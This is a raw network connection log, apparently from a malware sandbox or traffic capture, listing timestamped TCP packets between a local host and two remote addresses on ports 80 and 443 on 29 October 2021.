Oct 29, 2021 20:29:07.638380051 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638396978 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.638401985 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.638401985 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638423920 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638447046 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638469934 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638492107 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638535976 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.638541937 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.638561010 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638567924 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.638581991 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638605118 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638628006 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638649940 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638674021 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638694048 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638709068 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.638716936 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.638716936 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638720989 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.638741016 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638761997 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638784885 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638806105 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638827085 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638849020 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638854027 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.638860941 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.638864040 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.638871908 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638894081 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638916016 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638938904 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.638961077 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639017105 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.639022112 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.639024973 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.639030933 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639055967 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639086962 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639091969 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639112949 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639133930 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639136076 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.639156103 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639166117 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.639178991 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639200926 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639223099 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639245033 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639266968 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639290094 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.639292955 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639314890 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639339924 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639348984 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.639355898 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.639359951 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.639363050 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639386892 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639416933 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639441967 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639467955 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639478922 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.639484882 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.639487028 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639504910 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.639511108 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639533997 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639556885 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.639647007 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.639656067 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.639658928 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.640135050 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.692147970 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.944585085 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:07.944637060 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:07.944761038 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:08.046793938 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:08.046859980 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:08.090723991 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:08.090816021 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:08.093651056 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:08.093668938 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:08.094381094 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:08.226495981 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.169361115 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.212869883 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.229784012 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.229943991 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.230026960 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.230108023 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.230113029 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.230127096 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.230160952 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.230232954 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.230283976 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.230289936 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.230349064 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.230412960 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.230472088 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.230477095 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.230493069 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.230535030 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.230601072 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.230662107 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.230664968 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.230676889 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.230740070 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.230751991 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.230853081 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.230922937 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.230933905 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.230938911 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.230999947 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.231004953 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.231098890 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.231236935 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.231302977 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.231347084 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.231353998 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.231379986 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.231503010 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.231631041 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.231712103 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.231720924 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.231777906 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.231784105 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.231848001 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.231914043 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.231980085 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.231983900 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.232002974 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.232052088 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.232115030 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.232172012 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.232180119 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.232194901 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.232279062 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.232284069 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.232335091 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.232399940 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.232404947 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.232484102 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.232564926 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.232623100 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.232629061 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.232676029 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.232680082 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.232772112 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.232842922 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.232848883 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.247637987 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.247796059 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.247813940 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.247889042 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.247932911 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.248068094 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.248168945 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.248183012 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.248277903 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.248883009 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.249001980 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.249278069 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.249399900 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.251216888 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.251328945 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.251538038 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.251667023 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.254811049 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.254944086 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.255058050 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.255140066 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.269843102 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.269886971 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.269927979 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.269978046 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.270078897 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.270103931 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.270119905 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.270150900 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.270226002 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.270235062 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.270272017 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.270283937 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.270325899 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.270328999 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.270339966 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.270364046 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.270370007 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.270402908 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.270411015 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.270425081 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.270437956 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.270462036 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.270483971 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.270489931 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.270514011 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.270517111 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.270550013 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.270555973 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.270608902 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.285881042 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.285948038 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286006927 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286052942 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.286093950 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286115885 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.286119938 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286170006 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.286186934 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286206007 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.286210060 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286273003 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.286286116 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286303997 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286358118 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.286377907 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286391020 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.286436081 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286495924 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286524057 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.286541939 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286561012 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.286570072 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286638021 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.286645889 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286659002 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286721945 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.286725044 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286735058 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286792040 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286792040 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.286809921 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286854029 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.286879063 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286940098 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.286947012 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.286962986 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.287015915 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.287311077 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.287336111 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.287444115 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.287467957 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.287486076 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.287591934 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.287612915 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.287686110 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.287700891 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.287718058 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.287954092 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.287976980 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.288116932 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.288135052 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.288175106 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.288229942 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.288255930 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.288314104 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.288326979 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.288342953 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.288517952 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.288539886 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.288599014 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.288619041 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.288635969 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.288789034 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.288810015 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.288921118 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.288937092 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.288949966 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.289098978 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.289123058 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.289195061 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.289211988 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.289226055 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.289375067 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.289397001 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.289469004 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.289484978 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.289505959 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.289638996 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.289660931 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.289778948 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.289803028 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.289819956 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.289889097 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.289910078 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.289988995 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.290007114 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.290024996 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.307665110 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.307698011 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.307866096 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.307902098 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.307987928 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.308012009 CEST	443	49806	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:09.308068037 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.360742092 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.362798929 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.401778936 CEST	49806	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:09.904079914 CEST	49808	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:09.957986116 CEST	80	49808	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:09.960508108 CEST	49808	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:09.960762024 CEST	49808	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:09.960799932 CEST	49808	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:10.041575909 CEST	80	49808	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:10.044742107 CEST	49808	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:10.062432051 CEST	49808	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:10.116147041 CEST	80	49808	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:10.208045959 CEST	49809	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:10.263708115 CEST	80	49809	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:10.265209913 CEST	49809	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:10.756813049 CEST	49809	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:10.756828070 CEST	49809	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:10.811992884 CEST	80	49809	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:10.835891008 CEST	80	49809	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:10.836009979 CEST	49809	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:10.854660988 CEST	49809	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:10.906552076 CEST	49810	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:10.909797907 CEST	80	49809	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:10.958703041 CEST	80	49810	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:10.958838940 CEST	49810	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:10.958976030 CEST	49810	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:10.958997011 CEST	49810	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:11.035608053 CEST	80	49810	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:11.035725117 CEST	49810	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:11.049834967 CEST	49810	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:11.102052927 CEST	80	49810	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:11.175496101 CEST	49811	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:11.228080988 CEST	80	49811	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:11.228255033 CEST	49811	80	192.168.2.3	185.98.87.159
